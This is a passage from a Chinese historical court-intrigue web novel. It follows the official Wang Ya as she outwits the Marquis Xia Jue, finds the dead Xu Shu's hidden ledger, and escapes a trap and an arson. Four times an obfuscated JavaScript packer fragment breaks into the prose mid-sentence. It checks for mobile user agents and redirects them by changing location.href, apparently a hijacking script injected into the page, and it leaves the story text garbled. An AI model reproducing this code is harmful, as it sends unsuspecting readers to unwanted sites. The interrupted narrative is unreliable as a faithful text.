贺微提着食盒,与之同来的还有小贝。两条小狗见了面,就撒开腿在院子里狂奔,时而停下来沾花惹草,时而跑到主人面前转圈撒娇。 “近来如何?” 林昭笑问。 贺微瘪着嘴,答:“还好。” 她这一说,望涯便知是出海的事情受阻,如果难关在贺川那头,倒也好办,贺川会同意的,不过是时间问题。 “是大娘不同意?” 望涯问。 “不同意什么?” 林昭竖起耳朵,吃也不吃了。原以为是贺微看上哪家郎君,但贺川不同意,如此的话他可以替她参谋参谋,结果贺微摇头,将那日贺川说的话同他们说了一遍。 望涯默声,有这样的前情在,贺川不同意也是自然,此事确实凶险,贺微叔叔跟的还是官船,同样出了意外。 “不必心急,再过两个月新州市舶司会发一队官船往大食去,你手头上有什么货,同他们谈一谈,让你的货先走一遍商路,等利润到手,再自己发船,彼时你同市舶司也熟络了,万事便宜。这一条路打通了,你阿娘想来也就不会阻拦,到时候你就可以自己出海啦。” 说实话,林昭很羡慕贺微,她这样想了,也这样筹备了,就连唯一的阻拦也不是什么大事。 他也很想撒手不管,独身游历山川四海。 但是不行,他连躲起来写书都会被抓回去塞到皇帝眼皮底下看管着,同大理寺狱里的犯人无二了。 林昭说的话贺微早也打算过,但没有贺川的允许,她总觉得做再多也没有意思,她需要让贺川先放下心来。 “微姐,你再同大娘说说罢。” 望涯抬手替贺微将掉落的碎发拢到耳后,贺川只是担心,但总不能一辈子害怕井绳,她需要时间说服自己。 贺微点头,又听林昭道:“贺掌柜,到时候能不能给我留一匹大食的好马?” “当然!” “你还缺这个?” 望涯疑惑。 “那不一样,其他的马是其他的马,贺掌柜的马那一定是非同凡响的。” 怪不得朝廷里的老头都喜欢林昭。 “那是,我的马一定是最好的!” 贺微笑着将身子往望涯身上靠,望涯正色:“微姐,最好的马怎么能给他呢,不应该给最好的人吗?” “对,最好的留给我们小望。” “我不服,咱俩打一架。” 林昭起身卷起衣袖,却在望涯起身时一溜烟跑了个没影,只留下一句:“改日再战。” 林昭走后,贺微从袖子里摸出张纸:“你上回托我查的蔷薇水。” ———— “就这些了。” 汤介额上出了一层细汗,不觉转头望向窗外,心道是要入夏了。 夏珏翻看着他呈上来的文书,里头记录了望涯的审讯过程,她确实没问什么,审的每个人都点到即止,光凭这些还不足以推断出凶手是李牛,所有能够证实他的,都是后续补充上来的物证。 说明她私底下没少查。 夏珏忽然道:“她问了徐十三的原名?” 汤介思索片刻,随即点头:“是有,但听寒没说。” 听寒可能不认识夏珏,但夏珏对她却有印象,当年徐淑没少为了她的事情奔波。而夏珏为了更好牵制徐淑,也就同意留听寒一条小命,后来徐淑很听话,他也就渐渐忘了这回事, 文书上附带了听寒的住址,夏珏将纸张递给亲从:“去办吧,还有惠平坊那头留意些。” “有劳汤推官了,今日的紫苏饮还不错,带些走罢。” 夏珏笑面吟吟,便招仆人上来伺候。 谭八低着头,将手头上的活计忙完后便引汤介离开了。 夏珏看看谭八的身影,发觉这孩子已经来了许多时日,老实本分,还算聪明,于是道:“将他安排给四郎。” 谭八并不知道夏珏的打算,他只想快点见到望涯,将手头的东西交给她,但她说过,不准擅自行动。 不多时,去找听寒的人回来复命了。 “侯爷,人,人不见了。” 话音落下,四周鸦雀无声。 夏珏脸上还留有几分笑意,但侍从们无一不是低下头,眼观鼻,鼻观心,把自己假装成后院里的石头,不觉对回来复命的家伙心生同情。 “这是什么意思?” 夏珏一字一句道。 “属下办事不利,这,这就去找。” 夏珏不答,他便连滚带爬地跑出去了。 ———— 夜里起了大风,望涯算着,过几日还要再刮一场更大的。 她起身合上窗户,回到桌案前继续摆弄雕版。 “真厉害,开个书坊吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12704340|126810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 望涯自顾道,正打算起身拿墨,却忽然停住脚步。耳边传来一阵轻微的风铃响动,她的风铃并非风能吹动,大抵,是来客人了。 她将雕版收好,便听见敲门声。 来人是邓昔。 “邓郎君,为何不走寻常路?” 望涯刚好沏了壶热茶。 邓昔换了一身深色衣服,他显然没有心情喝对方递过来的茶水,这回轮到他开门见山了:“望司直希望邓某做什么?” “不是我希望你做什么,是你想要做什么。” 望涯抬眼看向来人,邓昔想要做事,却非要把由头放在别人身上,不敢做也不敢当,畏首畏尾,不像话。 邓昔沉默半晌:“替冯世伯昭雪,这是我爹的意愿,他如今远在京城不便行事,就算回京也无法立马挑起事端……” 他这么一说,望涯就清楚了。 邓氏身为冯学士的故吏,因冯学士遭到贬谪,如今想要回京几乎是不可能,就算圣上有意,夏珏也会从中作梗想方设法阻挠,为的就是彻底将邓氏按在穷山恶水的地方,待邓氏一族死绝了,冯学士才算是真正没法儿翻身了。 而他做的那些事情自然会随着冯学士深埋在风雪里,再也不见天日,史书上他会是一位功臣,可以由世人歌颂,他的子孙会享受皇恩庇佑和他留下的‘荣耀’,而冯学士则背负着叛国的罪名以及同韩娘子的风流韵事成为被万世唾骂的黄鼠狼。 邓氏并不是单纯的想替冯学士喊冤,左右不过是在替自己铺路,夏珏只是他们路上的绊脚石而已。 所谓门生故吏,所谓往日情分,不过是拿来糊弄望涯的。 可惜望涯并不好骗,她还要反过来糊弄邓昔。 “这关我什么事,我又不姓邓。” 她低头抿了口热茶,这茶叶是明珍送的,据说是南边的好茶。 邓昔坐下,道:“确实。但你说过可以帮我,我该怎么做?” 望涯一笑,心想这才是求人办事的态度,于是抬头:“夏珏能够混到如今这个地位,除去行事卑劣,就是圣上的恩宠了。令尊既然无法在京城对他下手,那便在江北行事好了。” 邓昔微微皱眉,他爹原本的意思是,此事得办,但不能牵扯到自己,可望涯不一样,她主张要死一起死,谁也别想置身事外坐享其成。 “如何行事?” 邓昔问,他想不清楚在江北能对夏珏做什么。 望涯放下茶杯:“夏珏手握重权多年,放眼朝堂,并没有能够与其相互制衡之人,就算是韩相也有所不及,称他为‘权臣’并不为过。” 此话一出,邓昔就明白了。 权臣总是要遭到忌惮的,底下人想要把夏珏拉下来这是自然,而上位的赵俨又何尝不想,夏珏爬得太高了,但他又太识时务,总在关键的点上给出一个另各方都满意的答复,这么些年来夏珏装傻充愣,一副闲云野鹤的模样,但只有赵俨知道他的野心。 正是如此,才棘手,就你一个人见到了鬼,其他人见到的都是佛。在多数人看来,你那是失心疯了。 然而,要彻底铲除夏珏也不行,边关也很棘手,夏珏一落马,那些东西就要扑上来撕咬,关内的人享受‘太平盛世’很久了,防线一旦失手,就只有等死的份儿了。 当然,这些望涯并不知情,她知道赵俨想要踹掉夏珏就够了,剩下的不是她一个小小司直该考虑的。 邓昔起身,是时候回江北了。 67.风起 皎月高悬,赵俨正在闭门修仙。 身旁的炼丹炉滋啦作响,时不时崩出几个火星,但他并不在乎,手上正翻看着望涯近来的动向。 “尽职尽责。”他评价道,但心里有些不满,太平常了,一点动静也没有。 赵宇在一旁读书,闻言便放下手头的书本,等待赵俨的下文。 赵俨将文书递给太子,起身转到丹炉旁,往里添了些柴火。实际上他也不知道自己炼的什么东西,只按照无为留下来的册子烧着玩。 “原来以为是个炮仗,但现在看来,或许是哑炮。”赵俨话里话外都在表达对望涯的失望,身旁的赵宇翻看完毕,他没有领悟到阿翁失望的原由,这不是很好吗?就是一个普通的司直,甚至没有浑水摸鱼,连结案文书都写得很漂亮,要是到了年底,吏部的考核想必是很好过的。 赵俨抬头看看茫然的太子,他越长越像先太子,先前的谣言不攻自破,他也很聪明,但终归是个孩子。 “阿翁希望她做什么?”赵宇一脸纯良,心里却隐隐有了猜测。 赵俨从来不会做无关痛痒的事,既然准许望涯进入朝堂,不是想用她煽风点火,就是想替自己培植心腹,否则要她干什么呢,司直而已,有的是人能干。 近来阿翁最关心的,除了赵邕,貌似就是夏珏了。 据说北地动荡,赵邕还在大理寺狱,一旦敌国来犯,能用的就只有夏珏了,彼时他手里的权利只增不减。 可除了这两位,眼下的朝堂中,竟无人可用。 所以赵俨将选择交给望涯,她要是扳倒了夏珏,他就用赵邕,要是夏珏屹立不倒,那只能抛弃赵邕了。 但赵俨为何要将这样的大事交由望涯决断呢? 赵宇见阿翁不说话,忍不住问:“有关夏侯爷吗?” 话音落下,赵俨笑着起身,抬手盘了两下孙儿的脑袋:“聪明。” 他忽然想起沈定西了,她在无为案里露过脸。 ———— 望涯继续问:“你为何杀了徐淑,这样一来,不就没有人证了吗?”或者说,除了徐淑,还有其他人知道内情? 邓昔回头:“我很早之前就说过了,不是我杀的。” 李牛下手时没注意到暗地里的吕六,他太慌张了,刀刃甚至没有伤到要害,只是看见了血就仓惶逃跑。吕六正犹豫要不要上去补刀,便看见徐淑睁开眼,她明明可以呼救的,但她什么也没做,只是静静躺着,直到魂魄随着泪痕一点点消散,她的鲜血淌了满地。 她把自己杀了。 吕六这样回复道。 在此之前,邓昔见过徐淑,他们面对面谈过。 徐淑一眼就认出来了邓昔:“都长这么大了啊。”在她的印象里,邓昔的哥哥都还只是尚在襁褓的婴儿,后来韩娘子死了,邓氏离京,可夏珏仍是没有放弃,依然在邓氏四周放了一圈暗桩,而他们之间通信都由醉春风传达。 徐淑也由此得知邓昔的出生,也知道邓昔相貌不凡,像了他的亲娘。他的亲娘确实很漂亮,从前和韩娘子走得很近,她们都是很好的人…… 思绪万千,徐淑打量着邓昔,仿佛看见了远在江北的乔娘子,她曾经给过自己一枝兰花。 “我娘说,徐淑爱吃定胜糕,嘱咐我一定要给她买。”邓昔将糕点往徐淑身前推了推。 “乔娘子身体可还康健?”徐淑问。 “不大好,我离开前已经无法下榻了。”邓昔如实回答,目光始终停留在徐淑的脸上,试图从中找到点愧色。 可惜没有,徐淑一笑,问:“既然如此,为何不留在一旁侍奉母亲,倒千里迢迢找上我?” “正是因为我母亲,她原是京城人士,如今病了,作为她的儿子,理应替她分忧。徐娘子肯定也病过,那时是否会想念家乡呢?我不知道您的心思,但却了解我的母亲,她需要回京养病。可京中有夏氏一日,她的意愿就一日不能达成,万一出了什么事情,她甚至无法魂归故土。” 邓昔的意思很明白了。 我要回来住,夏珏必须死。 徐淑沉默半晌,很久以后才答:“邓二郎真是糊涂了,这样大的事,怎么想到来找我。” 她拒绝了。 于是邓昔决定杀了她。 烛火摇曳,望涯的影子映在墙上忽大忽小。邓昔道:“徐淑一定留有后手。” 他回忆起当日的情形,发现徐淑并没有完全成为徐十三,她寻死,想来是被多年的积业压垮的,她良心未泯,良知尚存,既然如此,就不会对夏珏言听计从,手上一定握有其把柄。 望涯无言以对,虽然她的猜测也差不多,但邓昔仅凭这个就把关键的徐十三抹去,倘若她没有后手,或者他们一辈子都找不到所谓的‘后手’,那还翻个狗屁的旧案? “除了徐淑,还有没有其他人证?” 望涯问。 邓昔摇头,当年的事情他只知道个大概,他爹也是,眼下所有的行动都是在猜测上进行的,不过错了也没关系,望涯的仙人指路很好,就算旧案没翻成,挑拨夏珏和赵俨也已经足够了,翻案原先是源头,现在,是捎带手的事情。 他丝毫不在乎素未谋面的冯学士,心中甚至有所怨怼,要不是他,邓氏一族如何会受到牵连。 “吕六会留在京中,小望大人有事可找他办。” 邓昔走后,望涯换了身行头出门去了。 她得去找徐淑留的‘后手’。 按照贺微给的单子,她筛查出两处可疑的民宅,一处较近,另一处在惠平坊,蔷薇水会定时定点被送进这两座宅子,且持续的时间很长,在秋心之前就已经在用了。 除夕那天望涯在徐十三身上嗅到了蔷薇水的味道,可她身处的屋子里却没有这样的香品,原本她以为是从秋心处沾染上的,可在后来的审讯中,秋心说当日她还未见过徐淑。那这香便只能是徐淑自己的了,且是从她私宅里带出来的。 望涯白日里排除过最近的宅子,里头住的是一户富贵人家,女眷身上什么香都有,她就像春日里花丛中迷路了的蝴蝶,晕头转向的嗅不出个好歹,还好最终在一位娘子身上闻见了。 如此,便只剩下惠平坊的那座了。 夜风猎猎。 望涯停在一座民宅前久久没有动静。 四周偶尔传来一阵犬吠,除此之外,安静得可怕。 衣袖里的右手拇指摩挲着食指,眼前的门很好进,甚至围墙都很低,但不知怎的,她只是停留在那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12857205|126810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 徐淑死了。 这么大的动静,夏珏当真不会有一点动作吗?徐淑的私宅,他不可能不知道,既然知道,它为何还好端端的在这儿? 陷阱。 望涯往后退了半步,顷刻间,火把从四周巷子里倾巢而出,她听见有人喊:捉贼! 这动静……是官兵。 夏珏引望涯到徐淑的私宅,再给她套上一个偷窃的罪名,几个时辰后天一亮,她就会是一个:在办案过程中觊觎上死人钱财,见钱如蝇反被擒的傻子了。 就算没有任何实证,一旦风声传出去,越走越远,假的也会被说成真的,她本就如履薄冰。 但他错算了。 官兵到时,徐宅门前连片落叶都看不见。 …… “你既然知道有鬼,为何还要上门?” 沈定西合上木门,上气不接下气。 望涯慢悠悠地摘下斗篷,笑道:“挑衅。” “你……” 眼前的望涯俨然一副顽童模样,沈定西抬手替她扫去肩头上的灰尘:“你就不怕他下死手吗?” 望涯摇头:“要是怕这个,我就不会站在他对面了。” 她一件件褪去衣物,直到剩下单薄的里衣,接着转到屏风后的浴桶前,将身子完全浸没在刺骨的寒凉中,她咬着牙,就算是这样也止不住打冷颤。 沈定西在屏风另一头,她低着头不知在想些什么。 直到望涯开口问:“听寒那头如何?” “按你说的做了,南辕北辙。估摸着再有几天就能到安庆。” 沈定西接到听寒后,另外派了同样的车马往北方去,将真正的听寒送上了去往安庆的路。没过多久,北方那头就传来被劫的消息,夏珏没拿到想要的人,就将车队杀了个一干二净。 “沈氏一族,可还有武将?” 望涯的话锋转得突然,沈定西怔了怔,这才点头:“有个表哥在边关任兵马都监。” “有无军功?” “不清楚,不甚亲近。” 沈定西听见一阵哗啦啦的水声,是望涯在水里翻了个面:“左右夏珏和庆王都不得圣心,不如你们家出来试试?” 她看沈定西的表哥似乎不怎么能用,否则也不能用着沈氏的背景在边关摸爬滚打了那么多年依然是个都监,最好用的,不过是‘他是男子’。 这倒没想过,沈定西回头看向屏风,上头隐约透着望涯的身影,她趴在桶沿上侧着脑袋,不知是在注视着自己,还是在看对面的烛光。 “我可以,你也一定可以。” 望涯说。 ———— 贺川不太明白,但明日天一亮,她就会带上贺微随着商队回到合县。 这也是望涯的意思。 “娘,表哥如今在做什么营生?” 贺微正在收拾衣服,提起合县,她就想起自家苦命的舅舅了,舅母不大愿意跟随贺川进京,因此表哥贺进也留在那儿侍奉母亲。 “大约还在医馆。” 贺微收拾完毕,将脑袋靠在贺川腿上。贺川抬手替她捋着头发,便听她道:“娘,望涯是不是要做什么大事?” “也许吧。” “是西亭侯么?我总觉得她放不下盼儿的事。” “你少打听,睡吧。” 68.云涌 “望涯呢?把她叫过来。” 文言打了个哈欠,桌案上放着些卷宗,其中一份是敞开的。 张行简答:“她告了病假。” 文言的眉头皱成一团,将身子往前倾了些:“病了?前天不还好好的吗……” “贪凉,成日里不是拿酥山当饭吃,就是拿紫苏饮当水喝。” 这是听应颂今说的,近来张赢总不乐意在家里待着,于是就把她往金风楼带,每每都能遇见望涯在那儿同明珍说话,手上拿的吃食都是凉的。 文言沉思良久,这才挥挥手让张行简下去。 张行简临走之前瞥了眼他桌上的卷宗,顿时了然。 …… 望涯正在屋里看书,不久前万叔来过,他说贺川已经出发了。以及,贺川临走前将万叔留给望涯,以便差遣,要是她真招惹了什么事,可以用贺氏的伙计。 屋外传来一阵敲门声,随之而来的还有隐隐约约的喊门声:“望司直,望司直……” 望涯放下书,披上外衣起身开门。 来人是文言的亲从,叫关九,身旁还带了名大夫。 关九先是一礼,接着道:“文大理听闻小望大人染了风寒,焦急万分,于是命小的携医官前来探望……” 一番客套话下来,望涯差点以为自己是文言的亲女儿了。她苦笑着将人请进屋内,再由大夫替自己诊断。大夫看了半天,随即道:“是风寒。” 关九松了口气,大夫继续道:“需得服药,且静……” ‘养’字还未说出口,关九便抢着道:“原来如此,风寒而已。小望大人,文大理的意思是,让您回大理寺一趟,有事要交待。” 望涯点头:“是有案子?” 关九表示不知道。 望涯只好起身,换上官袍,上了关九的马车,一路回到大理寺。 彼时文言正同张行简说话,望涯面色如纸,鬼一般的飘进屋里,接着规矩地行了礼,不等文言发话,她先气若游丝地咳上几声,接着慷慨激昂地道:“文大人,听关九说是有案子要办?大人尽管吩咐,下官定在所不辞。” 她将双手一摊,举过头顶,一副要接圣旨的模样。 文言一怔,同张行简面面相觑。 “小案,小案而已!快起来,是常坪府的案子。” 文言倒是贴心,常坪府在西南方位,路比较好走,可快马加鞭也要半个月才到,加上审案以及返程,没有两个月办不下来。以望涯现在的状态,怕是走到半程就要病死了。 张行简转头看向文言:“她这模样,还要去地方?” “下官愿往!” 望涯一副视死如归的样子,张行简想帮腔也不知该怎么帮了。 “年轻人,多走动走动是好处!” 文言起身对张行简道,又让人给望涯办了公文。 望涯领了公文就往外跑。 她抬头看了看日头,现在是朝食时间,来来往往许多人。 好时候! 望涯放慢脚步,看似无意,实际上是在挑选一块平坦舒适的空地,然后扑通一声栽倒过去,公文四处散落,望涯放心地睡着了。 夏珏想调虎离山,做他的春秋大梦去吧。 第一个上前查看的,是何宝驹,他先是一怔,接着伸手探了探她的鼻息,这才惊叫道:“来人,快来人!” 自此,望涯尽忠职守的美名算是传开了,就连太子赵宇也亲自过问了几句。 文言不得不将案子转手给何宝驹,迫于压力还准了望涯几天假期。 与此同时,望涯收到了沈定西的信件,贺川她们一路平安,无追踪。 ———— 沈定西收刀。 贺微惊魂未定,看着遍地的死尸有些茫然。 贺川倒是冷静,先朝沈定西道谢,心里隐隐知道这些追杀自己的是个什么东西。 沈定西看看贺微,忽然道:“她受惊了。” 贺微摇摇头:“我没事。” 事发突然,那些个死士忽然间从四面八方窜出来,抄着刀就砍,而目标显然是马车里的人。贺川带的镖师固然厉害,可那些人都是不要命的,眼见就要落了下风,沈定西及时收网,将他们清理得一干二净。 “折了三个镖师。” 沈定西不知该说些什么,只好开始数地上的死人,尽管她已经知道数目。 “望涯出事了吗?” 贺微问。 “没有,她很好。” 话音落下,阿彤姗姗赶来:“小娘子,信已经送出去了。” “接着赶路吧,我断后。” 沈定西顿了顿,又对贺微道:“你要是受了惊,今夜就先别睡了。” 阿翁说战场上的新兵头回看见死人受了惊,要是很快睡着,他的魂就容易被勾走,然后变成疯子或者傻子。 贺微点头,实际上她只是暂时没有反应过来,当时身前有阿娘,身后有沈定西,有什么好怕的,趁乱她还给某位兄台补了一刀。 “有什么需要我做的吗?” 贺川的意思是,望涯。望涯需要什么。 沈定西擦拭着刀身,她的手下已经在重整行装:“没有。她说一切照常,不要挂心。” …… 砸下的花瓶碎片四溅,连烛火也在颤抖。 夏珏冷哼一声。 “听寒跑了,贺氏也跑了……” 夏珏在屋里走动着,没人再敢发出一点声响。区区一个望涯,他竟从她身上抓不到一根软肋,原本想拿住贺微,就像用听寒牵制徐淑,然而她步步为先。 步步为先…… 甚至无法将她调离京城。 “侯…侯爷,不如把她解决了?” 说话的人汗如雨下,声音也在颤抖。 夏珏呼出一口气,抽出身旁侍卫的佩剑,一步步朝地上跪伏着的人走去。 手起刀落,屋里弥漫着一股血腥味。 然而他并未就此收手,紧握着的剑柄再次扬起。 屋里横尸一片,除去身旁手握剑鞘的侍卫,在场的仆人无一幸免。 咣当一声,长剑掉落在地,夏珏又是那个和颜悦色的老侯爷了。 他轻声道:“去办吧,别再失手了。” 侍卫连滚带爬地离开了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003409|126810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >窗外的谭八死死咬住牙关不让自己发出一点声音,直到听见其他仆人进进出出打扫的声音,这才颤颤巍巍起身,往夏文德院子里走。他得想办法知会望涯。 可脑海里再次浮现出入府前的场景,她说:“别想着联系我,切记。” 他在去与不去之间徘徊不定,全然没注意到身后传来的脚步声。 “谁在那。” 谭八身形一僵,汗毛直立,他头一回知道了头皮发麻的感觉。 夏珏越走越近,直到仆从的灯到了他面前。 “侯爷。” 谭八攥紧拳头,将指甲深深嵌入掌心,试图让自己冷静下来。 “在此地作甚?” 夏珏的脸藏在夜色里,叫人看不清他的脸,只有引路的灯光照亮了他织金的衣摆。 谭八略微回了神,发觉自己身处夏文德的院子前,而自己是服侍夏文德的,出现在这里再正常不过,可方才在此处左右徘徊,就显得十分可疑了。 “我,我不小心碎了四郎库房里的茶盏。” 说起这话,就算是话音里带着哭腔也不用被怀疑,谭八说着,就要跪下磕头。就听夏珏笑了几声:“这有什么,下去罢。” 谭八如获大赦,谢了恩就要走,然而还未走出几步,夏珏再次开口:“等等。” “四郎在里头吗?” 谭八称是,这个时候,夏文德应该在背书。 “好,去吧。” 谭八走后,夏珏进屋见到夏文德了。 “阿翁!” 夏文德年十一,长得白皙可爱,又聪慧好学,是夏珏最疼爱的孙子。在他眼里,夏珏是天底下最好的阿翁,他撒开书本朝夏珏一礼。 两厢就新买的鹦鹉聊了一阵,接着又听夏珏问:“给你的谭八如何?” “他很聪明,也知礼数,就是不认字。” 夏文德对谭八是很满意的,做事面面俱到,不爱说话,更不会偷奸耍滑。 “是吗,那你得自己调-教了。” 夏珏用人十分谨慎,对于谭八他也是调查过的,他爹把他卖了还账,背景还算干净。 “四郎是不知道,他做事也有毛手毛脚的时候,今日打碎了一个琉璃茶盏呢。” 一旁的仆人笑道。后宫里争宠,朝廷里争宠,就连这小小的院子里也有争宠,他看不惯谭八很久了。 谭八和夏文德年纪相仿,夏文德对他很好,看样子是要把他养成心腹。 怎料夏文德笑了几声,并没有要责罚的意思:“难怪,今日见了我都不敢说话了。” 确有此事,夏珏也就放了心。 与此同时,望宅后院的火越烧越旺。 而它的主人,早换了男装,此时正在夏珏的老巢——醉春风。 “春-宫图……” 望涯的手指在博古架上游走,最终停留在一本包着史书封皮的书上。 她翻开看了半晌,忽然一笑,原来徐淑把后手留在这儿了。 屋外传来一阵动静,有人敲了敲窗框。 望涯将书本合上放回原位,接着翻窗离开。 她戴上斗篷重新潜入夜色。 69.徐淑的私宅 昨天夜里,望司直的房子烧了一场大火,后院的墙都塌了。 潜火司的人从里头救出呛了烟的望涯,街坊四邻救火的救火,喊郎中的喊郎中,一时热闹非凡。 望涯披头散发站在夜风中,身前火光冲天,面上处变不惊,心里却是一片萧索。 这得花多少钱啊…… 不多时,有位姓艾的推丞领了张行简的文书过来了。官员的屋舍着火,这是很大的事,得先查明是否人为纵火。 “望司直。”艾推丞翻身下马,先看望涯,见她神色如常也就松了口气。像她这样品阶的人,总有对低一等的官员颐指气使的,何况后院着火,心里自然也窝火,自然而然的,就会朝自己身上撒气。 “艾推丞,真是辛苦了,这个时候还不得安枕……”望涯满脸愧色。 艾推丞悄悄一怔,两厢客气一番,接着开始查案。 望涯张口就是:“当时我喝了药,睡得很早,半梦半醒间,就听见有人喊叫,接着出门查看,便发现走水了。”她的意思是,什么也不清楚。 不远处的角落里,有人正在黑暗中窥探,忽然,望涯的目光穿过人群,同蛰伏着的人相撞。她的模样有些狼狈,目光里却是上位者的姿态,原本她在今夜就该死去,可现在,该死的是他了。 他握紧刀柄,掌心不断发汗,眼下根本没有动手的机会。 忽然,他的脖子一紧,接着有人束缚住他的手脚。 ———— 望涯呛了烟,屋舍也烧得一干二净,甚至没有足够的钱住客栈。 于是,她只能听从师母的安排,住在张行简名下的一间宅子里了。 “好好的怎么会走了水?”应颂今皱着眉头,将手头的果子递给望涯。 望涯摇头:“不清楚,得问问艾推丞。”她抿了抿嘴,还是开口道:“先前我给的簪子,是为打探消息……” 应颂今一笑:“我知道,这没什么,能帮上你我很开心。” 应颂今离开后上了马车,却并未立即启程,直到管事来报:“一切都安排好了。”这火烧得实在离奇,要说不是人为纵火,那是骗鬼。细想起来,望涯的仇家除去狱中的赵邕,还剩下一个夏珏,甚至还有一堆反对她的书生,换了其中的哪一个,望涯一旦疏忽,后果不堪设想。 “嗯,之后多留意。” 屋里的望涯放下果子起身。 她知道应颂今在宅子四周都放了人,此举有利有弊,一是就算夏珏打算硬闯,她也不至于死得悄无声息,也有生还的机会。二来,她如今想做点什么,应颂今和张行简都能知道得一清二楚。 这对双方都不怎么好。 起先她纵火烧了自己的老巢,为的就是给世人一个警醒,告诉所有人‘有人要杀望司直’。 何人胆大包天? 那可多了,但一一列举起来,其中竟然没有西亭侯夏珏的名字。 就算有,堂堂夏珏要杀一个望涯,那肯定是望涯的过错,是她不对。因此,望涯在等一封江北来的书信,可夏珏已然对自己起了杀心,她不得不在等待的期间寻个由头求他人庇护。 “望司直,有人求见。”门房是个身材魁梧的男人,身后背着把三环大刀,十分骇人。 望涯停住脚步,开门见客。 来人是万叔。 “小望大人。”万叔一礼,接着道:“近来当铺收了些古籍,不知大人何时得闲,我好送过来叫您挑上一挑。” 望涯手中摩挲着衣袖:“越快越好。” “好!” 夜色降临。 望涯披上斗篷走后院出门去了,身后跟着应颂今的尾巴,因此她费了许多功夫将他们甩脱。等到达一间三进的民宅前,已经快后半夜了,值得一提的是,此地同西亭侯府很近,几乎就在眼皮底下。 望涯轻车熟路翻墙进去,撬开锁,在后院的屋子里翻找到了一些未开封的,以及半瓶已开封的蔷薇水。 这就是徐淑真正的‘老巢’了。 地址化为字谜藏在那本春-宫图中,想解开并不很难,只是藏的位置比较刁钻,几拨人都把它忽略了。 火折子微弱的光芒停留在博古架前,望涯抬手在架子上游走,同样的,在这里也有几本春-宫图,她拿下来一一翻看,在解先前那本字谜时她看了许多遍,因此再看,也不觉得有什么了,甚至有心思注意里头的字迹,再推断它雕版的出处。 更夫越走越远,在梆声彻底消失前,望涯还未找到她想要的东西。 她离开卧房转而走到前厅,看见一个落灰的佛龛,里头供着一尊门神,看模样是尉迟敬德,佛龛两旁的木联上写着:竹影摇曳月半弯,古道边旁藏玉簪。 一般来说,尉迟敬德该与秦叔宝一同出现,而眼下看来,单有一位,佛龛里也未见供奉痕迹,就连神像也有所残缺。看来徐淑并不真心信仰,既然如此,重点或许就藏在这句诗里。 竹影,月半弯。 这不是中院么? 望涯沿着小径来到中院,经过一扇月洞门,便见那头果然种了一片竹子,就是没人打理,已经有参天蔽日之势了。 古道边旁藏玉簪。 古道指的莫不是这条小径? 那这也太长了。 她沿着小径来回走了两遭,脚步最终停留在一盏石灯前,实际上除去身上着盏,中庭里还有大大小小上十盏,上头雕刻的不是八仙就是花鸟,而眼前这盏,雕的是洛州府宴。 此图望涯在孔灼家里见过,据说出自名家之手,画的是洛州知府钟杰在秋收后同百姓同乐的场景,宴上什么人都有,有官有吏,有良民有商贾,甚至连奴仆也是喜笑颜开。 当然,这是很久之前的事情,那时候连赵俨都还没出生,此流芳百世的好知府钟杰,也早就化为一抔黄土了。 巧的是,画中他们其乐融融的,正是在一扇月洞门下,四周还有竹林。 望涯熄了火折子,解下腰间的匕首开始在月光下刨土。 眼见石灯旁堆起了一个小山坡,她才停手,直了直腰板,目光停留在坑里的一个陶瓮上。 瓮口封了层泥巴,望涯将其剥落,再次点了火折子靠近,这才看见里头塞满香料。她将手伸进去查探,从最底下掏出一卷小臂粗的东西,拿出来一看,是本卷成筒的册子,外头用一截蜀锦紧紧捆住,像明珍厨下卤的猪蹄。 望涯将东西塞进随身的挎包中,接着将此大坑重新填平,踩着梆声回到住处。 四下寂静,望涯关闭门窗,在烛火下缓缓打开册子。 徐淑在册子上写下了所有,桩桩件件都指认的夏珏,多是通过醉春风行的贿赂略卖,以及结党营私的行径,除此之外,还有一封她的亲笔信: 展信人: 我不知道你是谁,但我会把始末都告诉你。 我是徐十三,原名徐淑,是洛州人士。三十年前,家父徐图还是洛州知府,家道中落时遇见了如今的西亭侯夏珏,我父亲身为他的旧部,在流放前恳求夏珏救我和母亲,后来夏珏当真将我和母亲赎出教坊司,却要我入宫为婢报答他所谓的‘恩情’,接着将我改名换姓送到韩娘子身边做事。 后来沈威将军兵败,夏珏找到我,要我揭发韩娘子以及冯学士的私情,我不知道怎么去揭发这本就子虚乌有的事,是夏珏一字一句教导我,并用我母亲的性命要挟,我不得不顺从。 后来我随韩娘子入冷宫,看着她重病,看着她在病榻上还在挂念着圣上的风寒,庆王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 